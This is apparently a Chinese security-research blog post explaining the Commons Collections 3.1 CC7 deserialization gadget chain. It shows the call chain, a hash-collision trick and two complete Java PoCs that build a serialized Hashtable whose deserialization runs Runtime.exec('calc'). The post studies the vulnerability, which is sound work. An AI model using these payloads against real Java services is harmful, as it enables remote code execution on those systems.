环境 1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.1</version > </dependency >
链子 1 2 3 4 5 6 7 8 9 10 11 Hashtable.readObject Hashtable.reconstitutionPut Hashtable.reconstitutionPut LazyMap.equals 没实现,找父类 AbstractMapDecorator.equals HashMap.equals 没实现,找父类 AbstractMap.equals LazyMap.get ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform()
分析 我们的目标是LazyMap.get()
方法,这个链子是通过AbstractMap
的equals方法触发的 我们先看一下这个方法:
被比较的方法要是Map类型的对象,被比较的对象要和this的大小size相同,后面就是取this的键值对赋给e变量,然后的if判断不管value是否为null都会调用m.get(key)
方法,这个就是这条链子的一个地方
eg.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.util.*;public class lazymapget { public static void main (String[] args) { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; Transformer chain = new ChainedTransformer (transformers); Map map1 = new HashMap (); Map map2 = new HashMap (); Map lazyMap1 = LazyMap.decorate(map1, chain); Map lazyMap2 = LazyMap.decorate(map2, chain); lazyMap1.put("1" ,"2" ); lazyMap2.put("3" ,"4" ); lazyMap1.equals(lazyMap2); } }
我们调试一下,首先是lazyMap1的equals方法,lazymap没有equals方法,去它的父类AbstractMapDecorator
找 这里肯定不是this,去调用this.map.equals(object)
,this.map
是lazymap1的hashmap,hashmap没有equals方法,去它的父类AbstractMap
找 这里前面说了肯定会调用m.get(key)
方法,m就是传入的被比较的o对象,也就是lazymap2 key是lazymap1的hashmap遍历键值对得到的键
因此会调用lazymap2.get(key)
方法,然后就是lazymap.get方法rce了
然后就是要想办法调用lazyMap
的equals方法 这里我们观察 Hashtable.readObject()
由于我们在Hashtable中存入了两个键值对 所以这里的elements值为2 然后调用reconstitutionPut()方法,它是一个计算hash然后给tab里加值的
这里我们发现有一个e.key.equals(key)
,它有点像我们上面实例代码的利用点,想办法让e.key是lazymap
这里可以用的hash碰撞的方法来保证传入的lazymap的hash相等,那样的话这里的hash和index
就相等,Entry<?,?> e = tab[index] ;
就不为空(因为是第一次加的lazymap),从而进入for循环调用e.key.equals(key)
hash碰撞的方法是设置key一个是0,一个是f5a5a608,因为hash的计算方法是key.hashCode()
->lazymap.hashcode()
-> 然后跑到了hashmap.hashCode()
->AbstractMap.hashCode()`
原理就是jdk7u21的hash碰撞,hash计算后为0
poc1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class test1 { public static void main (String[] args) throws Exception { Transformer[] fakeformers = new Transformer []{new ConstantTransformer (1 )}; Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; Transformer chain = new ChainedTransformer (fakeformers); Map map1 = new HashMap (); Map map2 = new HashMap (); Map lazyMap1 = LazyMap.decorate(map1, chain); Map lazyMap2 = LazyMap.decorate(map2, chain); lazyMap1.put("" ,"1" ); lazyMap2.put("f5a5a608" ,"1" ); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1,1 ); hashtable.put(lazyMap2,1 ); lazyMap2.remove("" ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(chain, transformers); serialize(hashtable); deserialize(); } public static void serialize (Object obj) { try { ObjectOutputStream os = new ObjectOutputStream (new FileOutputStream ("test.ser" )); os.writeObject(obj); os.close(); } catch (IOException e) { e.printStackTrace(); } } public static void deserialize () { try { ObjectInputStream is = new ObjectInputStream (new FileInputStream ("test.ser" )); Object test = is.readObject(); System.out.println(test); }catch (Exception e){ e.printStackTrace(); } } }
还有一个就是ysoserial的payload
poc2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class test1 { public static void main (String[] args) throws Exception { final String[] execArgs = new String []{"calc" }; final Transformer transformerChain = new ChainedTransformer (new Transformer []{}); final Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, execArgs), new ConstantTransformer (1 )}; Map innerMap1 = new HashMap (); Map innerMap2 = new HashMap (); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(transformerChain, transformers); lazyMap2.remove("yy" ); serialize(hashtable); deserialize(); } public static void serialize (Object obj) { try { ObjectOutputStream os = new ObjectOutputStream (new FileOutputStream ("test.ser" )); os.writeObject(obj); os.close(); } catch (IOException e) { e.printStackTrace(); } } public static void deserialize () { try { ObjectInputStream is = new ObjectInputStream (new FileInputStream ("test.ser" )); Object test = is.readObject(); System.out.println(test); }catch (Exception e){ e.printStackTrace(); } } }
这个调试发现也可以进入for循环,两次的hash和index一样
参考 https://zhuanlan.zhihu.com/p/647418911